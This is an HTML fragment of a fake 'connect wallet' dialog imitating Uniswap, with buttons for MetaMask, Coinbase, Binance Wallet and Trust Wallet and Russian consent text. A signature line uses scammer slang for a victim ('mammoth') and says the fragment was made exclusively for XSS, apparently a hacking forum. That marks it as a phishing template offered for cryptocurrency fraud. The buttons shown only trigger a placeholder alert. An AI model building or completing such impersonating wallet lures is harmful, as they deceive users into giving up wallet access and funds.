src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
<h4 class="font-bold text-md">MetaMask</h4>
</button>
</div>
<div class="py-2 flex flex-col">
<button class="btn h-auto py-2" onclick="alert('DONE')">
<img class="h-4 object-contain"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
<h4 class="font-bold text-md">Coinbase</h4>
</button>
</div>
<div class="py-2 flex flex-col">
<button class="btn h-auto py-2" onclick="alert('DONE')">
<img class="h-10 object-contain"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
<h4 class="font-bold text-md">Binance Wallet</h4>
</button>
</div>
<div class="py-2 flex flex-col">
<button class="btn h-auto py-2" onclick="alert('DONE')">
<img class="h-10 object-contain"
src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
<h4 class="font-bold text-md">Trust Wallet</h4>
</button>
</div>
<div class="py-2 flex flex-col">
<p class="text-sm max-w-prose">Подключая кошелек, вы соглашаетесь с Uniswap Labs Условия использования и согласие на его Политика конфиденциальности. (Последнее обновление 6.7.23)</p>
</div>
</div>
</div>
</div>
</div>
Такого не ожидает даже бывалый мамонт.
Патрик, эксклюзивно для XSS.